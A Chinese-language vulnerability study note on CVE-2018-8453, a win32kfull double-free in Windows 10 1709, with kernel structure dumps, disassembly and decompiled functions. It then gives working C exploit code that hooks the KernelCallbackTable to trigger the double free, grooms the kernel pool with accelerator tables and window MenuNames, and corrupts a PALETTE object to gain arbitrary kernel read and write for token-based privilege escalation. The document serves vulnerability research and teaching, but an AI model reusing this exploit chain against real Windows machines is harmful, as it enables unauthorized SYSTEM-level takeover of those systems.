CVE-2018-8453提權漏洞學習筆記
一、前言
1.漏洞描述
由于win32kfull中的NtUserSetWindowFNID在對窗口對象的fnid進行設置的時候,沒有判斷該窗口是否已經釋放,這樣就可以對一個已經釋放的窗口進行fnid的設置。而在xxxSBTrackInit和xxxFreeWindow中都存在用戶層的回調,通過對函數的劫持可以在回調中釋放掉xxxSBTrackInit函數中使用的tagSBTRACK結構體,這樣當xxxSBTrackInit釋放該結構體的時候就會因為雙重釋放導致BSOD的產生。
通過xxxSBTrackInit函數釋放結構體之前會對結構體中的部分成員進行解引用的操作,在相應的內存地址中放置PALETTE的cEntries成員的地址來利用解引用擴大該值,實現越界地址寫入相鄰PALETTE的pFirstColor來實現任意地址讀寫,最終實現提權。
2.實驗環境
- 操作系統:Win10 x64 1709 專業版
- 編譯器:Visual Studio 2017
- 調試器:IDA Pro, WinDbg
二、漏洞分析
1.關鍵結構體
由于在Win10系統中,很多符號并沒有導出,所以一些結構體成員只能通過分析得到。對于窗口對象tagWND,和本次漏洞有關的成員定義如下:
3: kd> dt tagWND +0x000 head : _THRDESKHEAD +0x0A8 pcls : Ptr64 tagCLS 3: kd> dt _THRDESKHEAD +0x000 h : Ptr64 Void +0x008 cLockObj : Uint4B +0x010 pti : Ptr64 tagTHREADINFO +0x018 rpdesk : Ptr64 tagDESKTOP +0x020 pSelf : Ptr64 UChar
其中偏移0x10的pti指向tagTHREADINFO結構體,改結構體保存了線程信息,定義如下:
3: kd> dt tagTHREADINFO +0x052 fnid : Uint2B +0x180 cbwndExtra : Uint8B +0x198 pq : Ptr64 tagQ +0x2B0 pSBTrack : Ptr64 tagSBTRACK
偏移0x52的fnid表明了窗口的狀態,當值包含0x8000的時候,表示窗口被釋放:
#define FNID_DELETED_BIT 0x00008000
偏移0x198的pq指向tagQ結構體,結構體定義如下:
1: kd> dt tagQ +0x068 spwndCapture : Ptr64 tagWND
偏移0x2B0指向tagSBTRACK結構體,當鼠標在一個滾動條按下左鍵的時候,系統會通過該結構體用來標記鼠標的當前狀態,結構體定義如下:
3: kd> dt tagSBTRACK -vstruct tagSBTRACK, 17 elements, 0x68 bytes +0x000 fHitOld : Bitfield Pos 0, 1 Bit +0x000 fTrackVert : Bitfield Pos 1, 1 Bit +0x000 fCtlSB : Bitfield Pos 2, 1 Bit +0x000 fTrackRecalc : Bitfield Pos 3, 1 Bit +0x008 spwndTrack : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x010 spwndSB : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x018 spwndSBNotify : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x020 rcTrack : struct tagRECT, 4 elements, 0x10 bytes +0x030 xxxpfnSB : Ptr64 to void +0x038 cmdSB : Uint4B +0x040 hTimerSB : Uint8B +0x048 dpxThumb : Int4B +0x04c pxOld : Int4B +0x050 posOld : Int4B +0x054 posNew : Int4B +0x058 nBar : Int4B +0x060 pSBCalc : Ptr64 to struct tagSBCALC, 16 elements, 0x40
2.xxxFreeWindow函數分析
內核通過xxxFreeWindow來釋放窗口,函數會將要釋放的窗口對象的fnid與0x8000進行或運算,表示窗口被釋放。接著判斷窗口對象是否有擴展內存,即cbExtra是否為0,如果不為0,則執行xxxClientFreeWindowClassExtraBytes來釋放擴展內存:
.text:00000001C0050A10 mov r8, [rdi+180h] ; r8 = tagWND->cbwndExtra.text:00000001C0050A17 mov eax, 8000h.text:00000001C0050A1C or [rdi+52h], ax ; tagWND->fnid |= 0x8000.text:00000001C0050A20 lea rax, [r8-1].text:00000001C0050A24 cmp rax, 0FFFFFFFFFFFFFFFDh.text:00000001C0050A28 ja short loc_1C0050A6D ; 判斷r8是否為0.text:00000001C0050A2A test dword ptr [rdi+130h], 800h.text:00000001C0050A34 jnz loc_1C00513AD.text:00000001C0050A3A call cs:__imp_PsGetCurrentProcess.text:00000001C0050A40 mov ecx, [rax+304h].text:00000001C0050A46 test ecx, 40000008h.text:00000001C0050A4C jnz short loc_1C0050A66.text:00000001C0050A4E mov eax, [r15+1D0h].text:00000001C0050A55 test r14b, al.text:00000001C0050A58 jnz short loc_1C0050A66.text:00000001C0050A5A mov rcx, [rdi+180h] ; rcx = tagWND->cbwndExtra.text:00000001C0050A61 call xxxClientFreeWindowClassExtraBytes
xxxClientFreeWindowClassExtraBytes函數會執行KeUserModeCallback來返回用戶層:
.text:00000001C00B6D25 mov r8d, 8 .text:00000001C00B6D2B lea rax, [rsp+48h+arg_10].text:00000001C00B6D30 lea r9, [rsp+48h+var_18] .text:00000001C00B6D35 mov [rsp+48h+var_28], rax .text:00000001C00B6D3A lea rdx, [rsp+48h+arg_18] .text:00000001C00B6D3F lea ecx, [r8+76h] ; ecx = 0x76 + 0x8 = 0x7E.text:00000001C00B6D43 call cs:__imp_KeUserModeCallback
xxxClientFreeWindowClassExtraBytes函數執行完成之后,函數會判斷窗口對象的fnid值的低12位是否在0x2A0到0x2AA之間:
.text:00000001C00509EF movzx eax, word ptr [rdi+52h] ; eax = tagWND->fnid.text:00000001C00509F3 mov edx, 3FFFh.text:00000001C00509F8 movzx ecx, ax.text:00000001C00509FB and cx, dx .text:00000001C00509FE mov edx, 29Ah.text:00000001C0050A03 lea r8d, [rdx+6] ; r8d = 0x29A + 0x6 = 0x2A0.text:00000001C0050A07 cmp cx, dx.text:00000001C0050A0A jnb loc_1C005117A ; 此處會跳轉 ; 省略部分代碼.text:00000001C005117A loc_1C005117A: .text:00000001C005117A mov ebx, 4000h.text:00000001C005117F test bx, ax.text:00000001C0051182 jnz loc_1C0050A10 ; r8 = tagWND->cbwndExtra.text:00000001C0051188 cmp cx, r8w ; r8w = 0x2A0.text:00000001C005118C jbe loc_1C00514B7 ; fnid <= 0x2A0跳轉.text:00000001C0051192 mov eax, 2AAh.text:00000001C0051197 cmp cx, ax.text:00000001C005119A ja short loc_1C00511AC ; fnid >= 0x2AA則跳轉.text:00000001C005119C mov eax, [r15+1D0h].text:00000001C00511A3 test r14b, al.text:00000001C00511A6 jz loc_1C00515D8 ; 這里需要跳轉
如果fnid在0x2A0到0x2AA之間,則會調用SfnDWORD函數:
.text:00000001C00515D8 loc_1C00515D8: .text:00000001C00515D8 mov rax, cs:__imp_gpsi.text:00000001C00515DF xor r9d, r9d ; r9d = 0.text:00000001C00515E2 movzx ecx, cx.text:00000001C00515E5 xor r8d, r8d.text:00000001C00515E8 mov [rsp+100h+var_C8], r13.text:00000001C00515ED mov dword ptr [rsp+100h+var_D0], r14d.text:00000001C00515F2 mov rax, [rax].text:00000001C00515F5 lea edx, [r9+70h] ; edx = 0 + 0x70 = 0x70.text:00000001C00515F9 mov rax, [rax+rcx*8-1210h].text:00000001C0051601 mov rcx, rdi.text:00000001C0051604 mov qword ptr [rsp+100h+var_D8], rax.text:00000001C0051609 mov qword ptr [rsp+100h+var_E0], r13.text:00000001C005160E call SfnDWORD.text:00000001C0051613 jmp loc_1C00511AC
SfnDWORD函數也會調用KeUserModeCallback函數返回用戶層:
.text:00000001C006F85A lea r9, [rsp+108h+arg_18] ; .text:00000001C006F862 mov r8d, 30h ; '0' ;.text:00000001C006F868 lea rdx, [rsp+108h+var_C8] .text:00000001C006F86D lea ecx, [r8-2Eh] ; ecx = 0x30 - 0x2E = 0x2.text:00000001C006F871 call cs:__imp_KeUserModeCallback
3.xxxSBTrackInit函數分析
xxxSBTrackInit是用來執行鼠標左鍵按下滾動條進行拖動的函數,該函數的部分代碼如下,函數首先申請一塊內存用來保存pSBTrack結構體,對這塊內存進行初始化,并對部分成員進行引用;接著函數調用xxxSBTrackLoop用來處理拖動滾動條要處理的消息;最后函數對相關成員進行解引用后,釋放掉pSBTrack結構體:
__int64 __fastcall xxxSBTrackInit(struct tagWND *tagWND, __int64 a2, int a3, int a4){ // 申請內存并進行初始化 pSBTrack = Win32AllocPoolWithQuota(0x68, 'tssU'); pSBTrack_1 = pSBTrack; if ( !pSBTrack ) return pSBTrack; // 對成員進行初始化 *(_DWORD *)pSBTrack &= 0xFFFFFFFE; *(_QWORD *)(pSBTrack + 0x40) = 0i64; *(_QWORD *)(pSBTrack + 8) = 0i64; *(_QWORD *)(pSBTrack + 0x10) = 0i64; *(_QWORD *)(pSBTrack + 0x18) = 0i64; *(_QWORD *)(pSBTrack + 0x30) = xxxTrackBox; // 將pSBTrack存儲與tagTHRAEDINFO->pSBTrack中 *(_QWORD *)(*((_QWORD *)tagWND + 2) + 0x2B0i64) = pSBTrack; // 對spwndTrack,spwndSB,spwndSBNotify進行引用 arr[0] = pSBTrack_1 + 8; arr[1] = tagWND; HMAssignmentLock(arr); arr[0] = pSBTrack_1 + 0x10; arr[1] = tagWND; HMAssignmentLock(arr); arr[0] = pSBTrack_1 + 0x18; arr[1] = *((_QWORD *)tagWND + 0xD); HMAssignmentLock(arr); xxxCapture(*(_QWORD *)gptiCurrent, tagWND, 3i64); pti = *((_QWORD *)tagWND + 2); if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) ) { // 消息分發 xxxSBTrackLoop(tagWND, a2, (struct tagSBCALC *)v17); // 釋放pSBTrack對象 pti = *((_QWORD *)tagWND + 2); pSBTrack = *(_QWORD *)(pti + 0x2B0); if ( pSBTrack ) { // 解引用 HMAssignmentUnlock(pSBTrack + 0x18); HMAssignmentUnlock(pSBTrack + 0x10); HMAssignmentUnlock(pSBTrack + 8); // 釋放pSBTrack Win32FreePool(pSBTrack); pti = *((_QWORD *)tagWND + 2); *(_QWORD *)(pti + 0x2B0) = 0i64; return pti; } }}
xxxSBTrackLoop會調用xxxTranslateMessage和xxxDispatchMessage來分發處理消息,xxxDispatchMessage函數會調用上面說的SfnWORD函數來返回用戶層:

4.NtUserSetWindowFNID函數分析
該函數用來設置窗口對象的fnid增加指定的值,但是,這里增加的時候,函數沒有判斷窗口是否已經被釋放,即是否具備0x8000。這就會導致,進行設置的時候很有可能會對一個已經釋放的窗口的fnid值進行設置:
__int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 fnid){ hwnd = ValidateHwnd(a1); if ( hwnd ) { if ( *(_QWORD *)(*(_QWORD *)(hwnd + 0x10) + 400i64) == PsGetCurrentProcessWin32Process(v5) ) { // 判斷要設置的fnid是否滿足要求 if ( fnid == 0x4000 || fnid - 0x2A1 <= 9 && (*(_WORD *)(hwnd + 0x52) & 0x3FFF) == 0 ) { // 設置tagWND->fnid *(_WORD *)(hwnd + 0x52) |= fnid; } } }}
5.漏洞成因
這個漏洞的成因比較復雜,要將上面的幾個函數都聯系起來看,成因如下:
當向滾動條控件發送WM_LBUTTONDOWN(左鍵按下)的消息時候,xxxSBTrackInit函數就會被調用,xxxSBTrackInit函數會調用xxxDispatchMessage,該函數又會調用SfdDWORD來返回用戶層。
如果用戶HOOK了用戶層對應的處理函數,就可以在該函數中調用DestroyWindow來釋放擁有該滾動條控件的窗口。這樣就會執行xxxFreeWindow,該函數會首先將窗口的fnid標記為刪除的窗口,接著在該窗口存在擴展對象的時候,調用xxxClientFreeWindowClassExtraBytes函數返回用戶層。
如果用戶HOOK了用戶層對應的處理函數,就可以在處理函數中調用NtUserSetWindowFNID,將窗口的fnid加入0x2A1的標記。這樣xxxClientFreeWindowClassExtraBytes函數返回以后,會因為被修改的窗口的fnid值的低12位為0x2A1導致再次調用SfdDWORD返回用戶層,此時在對應的處理函數中釋放掉xxxSBTrackInit函數申請的pSBTrack結構體,這塊內存就會處于釋放狀態。
當xxxFreeWindow函數返回后,就會返回到xxxSBTrackInit繼續執行,而xxxSBTrackInit會在最后釋放pSBTrack結構體,而這個結構體已經被釋放,此時如果在釋放就會產生BSOD錯誤。
三、漏洞觸發
要成功觸發這個漏洞,就需要在SfdDWORD在用戶層的處理函數中釋放pSBTrack結構體,此時只需要通過向滾動條發送WM_CANCELMODE消息,該函數會導致xxxEndScroll函數來釋放內存,該函數的主要代碼如下:
__int64 __fastcall xxxEndScroll(struct tagWND *pwnd, int a2){ // 要釋放pSBTrack結構體的三個條件 pti = *((_QWORD *)pwnd + 2); pSBTrack = *(_QWORD *)(pti + 0x2B0); if ( !pSBTrack ) // pSBTrack != NULL return pti; pq = *(_QWORD *)(*(_QWORD *)gptiCurrent + 0x198i64); if ( *(struct tagWND **)(pq + 0x68) != pwnd ) // pq->spwndCapture == pwnd return pti; if ( !*(_QWORD *)(pSBTrack + 0x30) ) // pSBTrack->xxxpfnSB != NULL return pti; // 釋放掉pSBTrack結構體 pti = *((_QWORD *)pwnd + 2); if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) ) { spwndSB = *(struct tagWND **)(pSBTrack + 0x10); if ( !spwndSB || (zzzShowCaret(spwndSB), pti = *((_QWORD *)pwnd + 2), pSBTrack == *(_QWORD *)(pti + 0x2B0)) ) { *(_QWORD *)(pSBTrack + 0x30) = 0i64; HMAssignmentUnlock(pSBTrack + 0x10); HMAssignmentUnlock(pSBTrack + 0x18); HMAssignmentUnlock(pSBTrack + 8); Win32FreePool(pSBTrack); pti = *((_QWORD *)pwnd + 2); *(_QWORD *)(pti + 0x2B0) = 0i64; } } return pti;}
其中第二處的限制需要窗口一個新得滾動條對象,并對其調用SetCapture。整個觸發漏洞的流程如下:
1、創建一個帶有八字節額外內存的窗口對象,并將該對象的句柄賦值到額外內存中供之后使用。同時,在該窗口中在創建一個滾動條對象用來觸發漏洞。
2、HOOK SfdDWORD和xxxCreateFreeWindowClassExtraBytes返回到用戶層會執行的函數。
3、向創建的窗口發送WM_LBUTTIONDWORD函數來調用xxxSBTrackInit函數。
4、在用戶層定義的xxxClientFreeWindowClassExtraBytes會根據要釋放的內存中保存的是否是第一步中窗口的窗口句柄,來判斷是否要修改fnid和調用SetCapture。
5、在用戶層定義的SfdDWORD的處理函數中,會判斷如果是第一次調用就會通過DestroyWindow來調用xxxFreeWindow。如果是第二處調用,則發送WM_CANCELMODE來是否pSBTrackInit函數。
6、當xxxSBTrackInit函數最后釋放pSBTrack結構體的時候就會因為雙重釋放導致BSOD。
相應的POC代碼如下:
BOOL CreateWindows(){ BOOL bRet = TRUE; HINSTANCE handle = NULL; handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; } char *szClassName = "MainWindow"; WNDCLASS wc = { 0 }; wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpfnWndProc = DefWindowProc; wc.hInstance = handle; wc.cbWndExtra = 8; wc.lpszClassName = szClassName; if (!RegisterClass(&wc)) { bRet = FALSE; ShowError("RegisterClass", GetLastError()); goto exit; } Window = CreateWindowEx(0, szClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!Window) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; } SetWindowLong(Window, 0, (ULONG)Window); ScrollBar = CreateWindowEx(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, handle, NULL); if (!ScrollBar) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; } exit: return bRet;} BOOL HookFunc_CVE_2018_8453(){ BOOL bRet = TRUE; ULONG64 ulKernelCallBackTable = *(PULONG64)(GetPEB() + 0x58); DWORD dwOldProtect = 0; if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, PAGE_READWRITE, &dwOldProtect)) { bRet = FALSE; ShowError("VirtualProtect", GetLastError()); goto exit; } org_fnDWORD = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2); *(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2) = (ULONG64)My_fnDWORD; org_xxxClientAllocWindowClassExtraBytes = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80); *(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80) = (ULONG64)My_xxxClientFreeWindowClassExtraBytes; if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, dwOldProtect, &dwOldProtect)) { bRet = FALSE; ShowError("VirtualProtect", GetLastError()); goto exit; } exit: return bRet;} LONG64 My_fnDWORD(PVOID arg0){ if (g_Flag_2018_8453 && *(PDWORD)arg0) { g_Flag_2018_8453 = FALSE; DestroyWindow(Window); } if (*((PULONG64)arg0 + 1) == 0x70) { SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0); } return org_fnDWORD(arg0);} LONG64 My_xxxClientFreeWindowClassExtraBytes(PVOID arg0){ if ((*(HWND*)*(HWND*)arg0) == Window) { New_ScrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL); NtUserSetWindowFNID(Window, 0x2A1); SetCapture(New_ScrollBar); } return org_xxxClientAllocWindowClassExtraBytes(arg0);} BOOL POC_CVE_2018_8453(){ BOOL bRet = TRUE; if (!CreateWindows()) { bRet = FALSE; goto exit; } if (!HookFunc_CVE_2018_8453()) { bRet = FALSE; goto exit; } g_Flag_2018_8453 = TRUE; SendMessageA(ScrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008); exit: return bRet;}
編譯運行POC就會產生BSOD錯誤,以下是部分錯誤信息:
2: kd> !analyze -vConnected to Windows 10 16299 x64 target at (Tue Jul 12 23:41:49.772 2022 (UTC + 8:00)), ptr64 TRUE******************************************************************************** ** Bugcheck Analysis ** ******************************************************************************** BAD_POOL_CALLER (c2)The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.Arguments:Arg1: 0000000000000007, Attempt to free pool which was already freedArg2: 0000000074737355, Pool tag value from the pool headerArg3: 000000002d080002, Contents of the first 4 bytes of the pool headerArg4: ffffea21825a28f0, Address of the block of pool being deallocated POOL_ADDRESS: ffffea21825a28f0 Paged session pool FREED_POOL_TAG: Usst PROCESS_NAME: exp_x64.exe STACK_TEXT: nt!DbgBreakPointWithStatusnt!KiBugCheckDebugBreak+0x12nt!KeBugCheck2+0x937nt!KeBugCheckEx+0x107nt!ExFreePoolWithTag+0x17bcwin32kfull!Win32FreePoolImpl+0x4cwin32kbase!Win32FreePool+0x1cwin32kfull!xxxSBTrackInit+0x491win32kfull!xxxSBWndProc+0x9fawin32kfull!xxxSendTransformableMessageTimeout+0x3c8win32kfull!xxxWrapSendMessage+0x24win32kfull!NtUserMessageCall+0xfbnt!KiSystemServiceCopyEnd+0x13win32k!NtUserMessageCall+0x14USER32!SendMessageWorker+0x108USER32!SendMessageA+0x55
可以看到BSOD產生的原因就是因為重復釋放pSBTrack結構體:

四、漏洞利用
1.利用思路
想要不產生BSOD,就需要在第一次釋放pSBTrack結構體之后,申請一塊共占用0x80大小的內存來占用釋放掉的內存,這樣在xxxSBTrackInit中第二次釋放的時候不會因為釋放掉已釋放的漏洞產生雙重釋放。而在xxxSBTrackInit釋放內存之前,函數會對其中幾個成員通過調用HMAssignmentUnlock來解引用,該函數的實現如下,可以看出就是將傳入參數的指針所指向地址偏移為8的地址的值-1,如果可以傳入合適的參數來擴大特定的值就可以實現任意地址讀寫。

之前往往選擇BitMap對象,但因為從Win10 1709開始,BitMap對象的data不在對象頭之后,pvScan0指向了不同的內存,所以這里就改為選用Palette對象來實現任意地址讀寫。
2.Palette對象
創建Palette對象的創建通過CreatePalette函數來實現,該函數的定義如下:
HPALETTE WINAPI CreatePalette(LOGPALETTE * plpal);
其中參數的定義如下,成員palNumEntries指定了數組palPalEntry的個數:
typedef struct tagLOGPALETTE { WORD palVersion; WORD palNumEntries; PALETTEENTRY palPalEntry[1];} LOGPALETTE, *PLOGPALETTE;
數組palPalEntry的類型為PALETTENTRY,可以看出每個元素占用4字節:
typedef struct tagPALETTEENTRY{ BYTE peRed; BYTE peGreen; BYTE peBlue; BYTE peFlags;} PALETTEENTRY;
CreatePalette調用成功之后,就會創建一個PALETTE對象,該對象定義如下,其中偏移0x1C的cEntries等于LOGPALETTE的palNumEntries,偏移0x88的apalColor數組即LOGPALETTE中的palPalEntry數組。
typedef struct _BASEOBJECT64{ ULONG64 hHmgr; ULONG32 ulShareCount; WORD cExclusiveLock; WORD BaseFlags; ULONG64 Tid;} BASEOBJECT64, *POBJ; // sizeof = 0x18 typedef struct _PALETTE64{ BASEOBJECT64 BaseObject; // 0x00 FLONG flPal; // 0x18 ULONG32 cEntries; // 0x1C ULONG64 ulUnknown[0xB] // 0x20 PALETTEENTRY *pFirstColor; // 0x78 PALETTE64 *ppalThis; // 0x80 PALETTEENTRY apalColors[3]; // 0x88} PALETTE64, *PPALETTE64;
而偏移0x78的pFirstColor指向了apalColors,當通過SetPaletteEntries和GetPaletteEntries進行讀寫的時候,讀寫的地址就是由pFirstColor指向的地址:
UINT WINAPI SetPaletteEntries(HPALETTE hpal, UINT iStart, UINT cEntries, PALETTEENTRY *pPalEntries); UINT WINAPI GetPaletteEntries(HPALETTE hpal, UINT iStart, UINT cEntries, LPPALETTEENTRY pPalEntries);
當創建帶有MenuName的窗口時,可以通過tagWND偏移0xA8的pcls來獲取其在內存中的地址。因此,可以通過創建一個這樣的窗口,然后釋放掉,在馬上創建一個PALETTE,那么它的pcls就指向了這個PALETTE對象(大概率),獲取MenuName地址的代碼如下,這里需要注意的是創建的內存如果打到一定程度,這塊內存的頭就不會有0x10的POOL_HEADER,所以使用的時候要根據具體情況來決定。
ULONG64 AllocateFreeWindow(DWORD dwSize){ ULONG64 ulRes = 0; HINSTANCE handle = NULL; handle = GetModuleHandle(NULL); if (!handle) { ShowError("GetModuleHandle", GetLastError()); goto exit; } WNDCLASSW wc = { 0 }; WCHAR szMenuName[0x1005] = { 0 }; PWCHAR pClassName = L"LEAKWS"; memset(szMenuName, 0x42, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE); wc.style = CS_HREDRAW | CS_VREDRAW; wc.hInstance = handle; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pClassName; wc.lpszMenuName = szMenuName; if (!RegisterClassW(&wc)) { ShowError("RegisterClassW", GetLastError()); goto exit; } HWND hWnd = CreateWindowExW(0, pClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!hWnd) { ShowError("CreateWindowExW", GetLastError()); goto exit; } lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) goto exit; PTHRDESKHEAD pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd, TYPE_WINDOW); ULONG64 ulTagCls = 0, ulClientDelta = 0; ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead; ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta; ulRes = *(PULONG64)(ulTagCls + 0x98); DestroyWindow(hWnd); UnregisterClassW(pClassName, handle);exit: return ulRes;}
此時可以通過創建一個0x1000字節的MenuName,在釋放掉它并馬上申請兩個占用0x800的PALETTE,這樣這兩個PALETTE就會占用釋放掉的MenuName,它們在內存中是相鄰的,且可以獲取到第一個PALETTE對象的地址,此時記錄第一個PALETTE對象cEntries對象的地址供之后使用,相應的代碼如下:
BOOL GetPalette_CVE_2018_8453(HPALETTE *hPalette){ BOOL bRet = TRUE; CONST DWORD dwCount = 0x1500; DWORD i = 0, dwSize = 0x800; HACCEL hAccel[dwCount] = { NULL }; PLOGPALETTE pLogPalette = NULL; DWORD dwNumEntries = (dwSize - 0x88 - POOL_HEADER_SIZE - 0x10) / 4; DWORD dwPalSize = sizeof(LOGPALETTE) + (dwNumEntries - 1) * sizeof(PALETTEENTRY); pLogPalette = (PLOGPALETTE)malloc(dwPalSize); if (!pLogPalette) { ShowError("malloc", GetLastError()); goto exit; } ZeroMemory(pLogPalette, dwPalSize); memset(pLogPalette, 0x41, dwPalSize); pLogPalette->palNumEntries = dwNumEntries; pLogPalette->palVersion = 0x300; // 消耗0x800大小的空余內存 for (i = 0; i < dwCount; i++) { // 0x14D * 6 + 0x1C + 0x10 = 0x7CE + 0x1C + 0x10 = 0x7FA = 0x800 ACCEL accel[0x14D] = { 0 }; hAccel[i] = CreateAcceleratorTable(accel, 0x14D); if (!hAccel[i]) break; } // 申請一塊新的0x1000大小MENUNAME并釋放掉它 ULONG64 ulRes = AllocateFreeWindow(0x1000); if (!ulRes) { bRet = FALSE; goto exit; } // 占用釋放上一步釋放的0x1000大小的內存 hPalette[0] = CreatePalette(pLogPalette); hPalette[1] = CreatePalette(pLogPalette); if (!hPalette[0] || !hPalette[1]) { bRet = FALSE; goto exit; } // 用于記錄修改cEntries成員的大小 g_ulTarAddr_2018_8453 = ulRes + 0x2D - 8; exit: for (i = 0; i < dwCount; i++) { if (hAccel[i]) { DestroyAcceleratorTable(hAccel[i]); hAccel[i] = NULL; } else break; } return bRet;}
接下來在第一次釋放的時候,就要創建大量的MenuName來占用釋放的內存,由于可以直接修改MenuName的值,所以可以對應tagSBTRACK結構體的成員,將其設為上面記錄的cEntries成員的地址,這樣之后xxxSBTrackInit函數在最后調用HMAssignmentUnlock進行-1操作的時候就會修改cEntries,相應的代碼如下:
LONG64 My_fnDWORD(PVOID arg0){ if (g_Flag_2018_8453 && *(PDWORD)arg0) { g_Flag_2018_8453 = FALSE; DestroyWindow(Window); } if (*((PULONG64)arg0 + 1) == 0x70) { CONST DWORD dwCount = 0x2000; DWORD i = 0, dwSize = 0x80; HACCEL hAccel[dwCount] = { NULL }; // 占用0x80的空閑內存 for (i = 0; i < dwCount; i++) { // 0x6 * 0x8 + 0x1C + 0x10 = 0x4E + 0x1C + 0x10 = 0x7A = 0x80 ACCEL accel[0xD] = { 0 }; hAccel[i] = CreateAcceleratorTable(accel, 0xD); if (!hAccel[i]) break; } // 釋放tagSBTRACK內存 SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0); lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) goto exit; HINSTANCE handle = GetModuleHandle(NULL); if (!handle) { ShowError("GetModuleHandle", GetLastError()); goto exit; } HWND hWnd[0x400] = { NULL }; WNDCLASSW wc = { 0 }; WCHAR MenuName[0x100] = { 0 }, ClassName[0x50] = { 0 }; // 占用釋放的tagSBTRACK內存 memset(MenuName, 0x43, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE); *(PULONG64)((ULONG64)MenuName + 0x8) = g_ulTarAddr_2018_8453; *(PULONG64)((ULONG64)MenuName + 0x10) = g_ulTarAddr_2018_8453; for (i = 0; i < 0x400; i++) { memset(ClassName, 0, 0x50); sprintf((char*)ClassName, "WindowLeak%d", i); memset(&wc, 0, sizeof(wc)); wc.hInstance = handle; wc.lpfnWndProc = DefWindowProc; wc.lpszMenuName = MenuName; wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpszClassName = ClassName; if (!RegisterClassW(&wc)) { ShowError("RegisterClassW", GetLastError()); break; } hWnd[i] = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!hWnd[i]) { ShowError("CreateWindowExW", GetLastError()); break; } } ULONG64 ulTagCls = 0, ulClientDelta = 0; PTHRDESKHEAD pTagWndHead = NULL; for (i = 0; i < 0x400; i++) { if (!hWnd[i]) break; pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd[i], TYPE_WINDOW); ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead; ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta; g_ulMenuName_2018_8453[i] = ulTagCls + 0x98 + ulClientDelta; } for (i = 0; i < dwCount; i++) { if (hAccel[i]) { DestroyAcceleratorTable(hAccel[i]); hAccel[i] = NULL; } else break; } } exit: return org_fnDWORD(arg0);}
在觸發漏洞之前可以看到,創建的兩個0x800大小的PALETTE對象的第一個PALETTE對象的cEntries為原來的大小:

觸發漏洞,進行兩次-1操作以后,就被擴大成一個很大的值:

此時就可以通過函數越界讀寫相鄰的那個PALETTE對象的pFirstColor指針來實現任意地址讀寫了,相應代碼如下:
BOOL SetPaletteTarget(HPALETTE hManager, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress){ BOOL bRet = TRUE; // 設置要讀寫的內存地址 if (!SetPaletteEntries(hManager, dwStart, dwEntries, (PPALETTEENTRY)&pTargetAddress)) { bRet = FALSE; ShowError("SetPaletteEntries", GetLastError()); goto exit; }exit: return bRet;} ULONG64 ReadDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress){ ULONG64 ulData = 0; if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress)) { goto exit; } if (!GetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulData)) { ShowError("GetPaletteEntries", GetLastError()); goto exit; } exit: return ulData;} BOOL WriteDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress, ULONG64 ulValue){ BOOL bRet = TRUE; if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress)) { bRet = FALSE; goto exit; } if (!SetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulValue)) { bRet = FALSE; ShowError("SetPaletteEntries", GetLastError()); goto exit; } exit: return bRet;}
五、運行結果
可以進行任意地址讀寫,就可以通過修改Token來實現提權:
